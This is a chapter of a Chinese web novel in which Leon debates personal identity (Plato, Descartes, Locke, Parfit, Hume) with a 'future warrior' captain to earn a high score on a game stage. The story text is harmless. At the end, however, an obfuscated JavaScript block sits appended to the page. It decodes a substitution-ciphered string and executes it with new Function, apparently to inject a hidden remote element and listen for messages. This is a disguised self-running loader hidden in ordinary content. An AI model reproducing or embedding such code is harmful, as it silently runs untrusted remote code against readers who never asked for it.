“敬请听好!”
里昂环顾一圈现场,最终视线锁定在未来战士队长身上。
“如今我所遭遇的状况是——208的传送列车出了故障,我的本体没有被摧毁。那么我的本体和复制体,哪一个才是真正的我,答案暂定!”
“假如传送没有出故障,本体的我已经被摧毁了,那么真正的我是伴随着本体死亡而死亡,还是伴随着复制体的生成而存活了下来呢?”
“究竟是什么因素决定了昨天的我和今天的我是同一个人?”
“为了解答该问题,必须要知道人的本质到底是谁?”
未来战士没有开口打断,只是默默地看着里昂,这自问自答仿佛回到了上学时代,虽然他不喜欢这种感觉,但这是里昂的专场,任凭其表演!
里昂缓缓解释着:
“柏拉图他认为,人同时生活在两个世界,一个是灵魂所处的理性世界,另一个是身体所处的现实世界。身体感官所接触到的世界‘并非是真实的世界’,唯有灵魂所处的世界才是‘真实的世界’。重点便是:感官世界只是灵魂世界的影子!”
“虽然这个观点有些玄幻,但该观点却得到了后世的哲学家勒内·笛卡尔的赞成,他总结出一个更完善的理论【笛卡尔二元论】。”
“只不过笛卡尔把柏拉图所提出的‘灵魂’这个玄学词汇改成了‘精神’!”
“笛卡尔认为,人类由精神和身体两部分组成:‘精神’负责信仰、怀疑、思考等等活动,它是一种非物质的存在,我们看不见摸不着。”
“而‘身体’的任务便较为简单,它只负责我们人类的‘存在’,将我们‘生存于世’这个事实通过物质(比如心肝肺等器官存在)的形式表现出来。因此,笛卡尔表示动物和人的最大区别就在这里——人有精神和身体,而动物只有身体。”
“所以说,未来战士,您昨天是个人,今天绝对不可能变成狗,因为狗没有‘精神’,你与它的组成结构完全不一样!”
听到这话,未来战士队长一脸茫然,说我是狗,难不成你是在故意挖苦我刚才追捕你。
想想算了,未来战士队长开口,“挺好的解释,对我的胃口,请继续!”
里昂轻轻点头,继续解释:
“不过笛卡尔的这个理论实际上有点不靠谱,乍听靠谱,但本质上并不靠谱!”
未来战士队长眉头一皱,“什么意思?”
里昂说:“意思便是——既然‘精神’是非物质的,‘身体’是物质的,那么‘精神’是如何与‘身体’互动的呢?”
“‘我渴了,我饿了’这种看不见摸不到的思维,是以何种方式传递给身体的,笛卡尔并没有给出令人信服的解释。”
“不过笛卡尔二元论的维护者们倒是给出了一个‘自圆其说’的方案——‘精神’将非物质活动传达给看不见摸不着的万能的上帝,看不见摸不着的万能的上帝负责把‘精神’产生的非物质活动转为‘身体’的物质活动。”
“所以说,笛卡尔也不靠谱!”
随着一连串的解释话落,未来战士队长嘴角忍不住抽搐,既然不靠谱,你TM还讲,这不是浪费时间吗?
不过队长殊不知里昂的用意,如果直接给出答案,即使答案正确,评分也不会提高,如今面对这一关卡,他有着绝对的实力攻略该关卡,那自然而然是尽可能提升关卡评分!
只见里昂微微一笑,开口解释:
“接下来还有【我是谁之‘身体理论’】!”
“支持【身体理论】是大多数人的选项——一个人就是他的身体!”
“一个人,就是他的身体,这个概念极为符合我们人类的日常生活经验。”
“当我们在大街上遇见了一个熟悉的人,即使他无视了我们,我们也能认出他,他是曾经偷了你妻子的隔壁老王。”
黑色面具内的未来战士队长强颜欢笑,他确定了,里昂就是在报复他,我的妻子被隔壁老王透了?
他听着耳麦内下属们的窃笑声,“不许笑,谁笑给我卷铺盖走人!”
“是,队长!”x4
里昂依旧在滔滔不绝地解释:
“不过此处仍旧有一个新的问题:人类身体处于不断变化、更替之中,随时都有新的细胞诞生,旧的细胞消逝。”
“剪了头发的人、为了买苹果手机卖了一个肾的人,他们身体皆有明显的变化,但他还是那个人。那么,到底哪部分身体才是决定性因素呢?”
“是的,没有任何难题,正是大脑!”
“所以广义上的‘我是谁’指的是他的身体,狭义上的‘我是谁’指的是他的大脑!”
“但想要凭借以上的回答去解答‘我是谁’,似乎还不太够!”
“约翰·洛克,他是腐国的一位大哲学家,腐国经验主义的代表人物,他认为‘我是谁’的关键之处在于一个人的‘经验记忆’,而非身体,亦非灵魂!”
“于是,小问题出现——‘经验记忆’与‘事实记忆’!”
“‘经验记忆’指的是一个人对过去特定事件、场景、人物的记忆。”
“‘事实记忆’指的是对特定技能、生存技巧的记忆——比如如何开口说话,如何游泳,如何进行x生活等等。”
“经验记忆决定了一个人到底是谁——【你记得你曾经和你朋友在某个酒店度过一个愉快的夜晚,你记得那个朋友背叛了你,你记得那个朋友在背叛你之后又和你度过了一个不愉快的夜晚】等等等等。”
“只要你记得这些,我们他人便能认识你,即,你就是你,我就是我。”
这些便是‘经验记忆’,决定一个人是谁,纵然他们外貌再像,一旦‘经验记忆’不符合,他人必然不会将其认作是他人记忆中曾经熟悉过的人!
“这样一来问题迎刃而解,我位于传送列车始发站的本体拥有在始发站疑惑的记忆,而复制体没有,两个人的经验记忆是不一样的,所以魔都里昂与京都里昂是不同的人。”
说到此处,里昂转过头盯着监控画面内的京都里昂,最后无奈地摇了摇头,“可惜,实在是可惜,通过京都里昂的一举一动,包括开口所说的话,我都能判断出京都里昂就是我,所以我刚才提出的理论依旧无法判断我是谁,他是谁!”
闻言,未来战士队长开口回应:“你说的都是现实拥有的人物与理论,他们确实是这方面大牛,但是你依旧没有解答你是谁,时间还剩下7分钟!”
“我知道,你不用催促我!”
里昂转过身,一脸严肃地开口:“接下来随着时间的推移,后来的一位哲学家德里克·帕菲特,修正了‘经验记忆’理论。”
“决定里昂是谁的因素,不是记忆,而是记忆链!”
此话一出,漂亮国的观众们忽然眼前一亮,不知不觉中里昂的答案也在朝着伊凡的最终答案所靠拢。
“聪明人都是这样的吗?”
“伊凡最后好像也是说出‘记忆链’通关的!”
“对,只不过评级只有S,不是SS与SSS!”
“我似乎看出来了,里昂在朝着SS,SSS前进,所以他前面在告诉规则——【我知道如何解答,但我就不直接给出答案】。在数学题中,直接给出答案,却没有过程的结果是低分,不会高分!”
“哈哈哈,里昂够鸡贼,我喜欢!”
“...”
现实观众们,专家们都猜出了里昂的用意。
此时,画面内,未来战士队长询问:“记忆链?”
里昂轻轻点头,“是的,记忆链。”
“记忆链的意思是说——今天的你虽然不记得昨天犯过罪,但你总能记得点别的东西,比如说,你昨天在KFC吃过麦辣鸡腿堡内吃出过蟑螂。同样,昨天的你拥有对前天的你的部分记忆在麦当当的牛肉汉堡里吃到了一块刮胡刀,而前天的你拥有对大前天的你的部分记忆在华来士吃的汉堡让你一泻千里,只要不断向上循环,直到你死的那天。就这样,你的记忆链,串联了你的过去一生,你的未来一生,而记忆链更决定了我们是谁!”
面对里昂的这些故意报复之言,未来战士队长已经不在意了,甚至掀不起任何波澜!
这时,里昂的表情忽然严肃,话锋一转。
“但是,这里面依旧有着一点Bug,Bug便是,没有人,没有任何人拥有刚出生时的记忆,难不成根据记忆链的结论去判断——我们最初是婴儿状态下的我们自己难道不是人?”
此话一出,漂亮国的观众们都惊了。
“厚礼蟹,里昂牛皮!”
“我刚才在伊凡的直播间内也听到了‘记忆链’,但伊凡忽略掉了这个‘记忆链’的婴儿时间,我当时就想问了,伊凡并没有给出确切答案,没想到到了我们这里,里昂竟然提出了这个漏洞!”
“哈哈哈,里昂这次的评分必须,必定要比伊凡高!”
“...”
画面内。
未来战士队长面露好奇地问:“记忆链,没想到是这个意思,相当于一个人从小到大的生活记忆,所遭遇的一切,也就是【信息链条】,我理解。你最后所提出的那句话——【难道我们在婴儿时期不是人?】这个观点如何解决?”
见状,里昂轻轻点头,“以上我所讲述的是‘身体理论’与‘经验记忆理论’或许这么看已经接近了‘我是谁’,但还不够,这并不完整!”
“接下来,有一位哲学家将其全盘否定!”
“那人,便是大卫·休谟!”
“他对‘我是谁’该问题有独特的见解!”
“捆束理论!”
“根据这个理论,任何关于‘自我’的概念都是人类为了应对日常生活而产生的错觉。实际上‘自我’的概念并不存在。”
“我们每个人不仅由自己的肉体和记忆组成,还关联到他人对我们的看法、我们最喜欢的电影,我们最喜欢的游戏、我们所拥有的第一辆车等一切和我们产生过互动的东西,这一大捆东西和‘自我’的概念密不可分!”
“因此随着这一大捆东西的变化,‘自我’的概念也会跟着变化。”
“正像‘忒休斯之船’一样,人们每时每刻都是一个全新的自己,根本就没有什么固定不变的‘自我’。所有的‘自我意识’都是错觉,都是假的。”
“虽然这个观点能解决一部分问题,但它的Bug也不少。比如:既然‘自我’的概念随时都在变化,那么上个月的‘我’杀了个人,凭什么要这个月的‘我’去替他坐牢。上个月的‘我’诈骗了一个人一千万元,凭什么又要这个月的‘我’来偿还?”
随着一连串的解释落下,工作人员,未来战士们渐渐陷入了沉思的状态。
他们此刻,根本只知道里昂在故弄玄虚,答案时而靠近真相,时而远离真相,不过他们依旧无法理解里昂是在解答或是在提问,总感觉里昂在酝酿着什么大招!
环顾一圈,发现所有人都已经被自己的言论惹到半懵半懂之际,里昂咧嘴一笑,“其实我的答案早已隐藏在我所讲述的内容里了,只要接下来我举个相关的例子,关于魔都的我与京都的我的真相就能分辨出了!”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();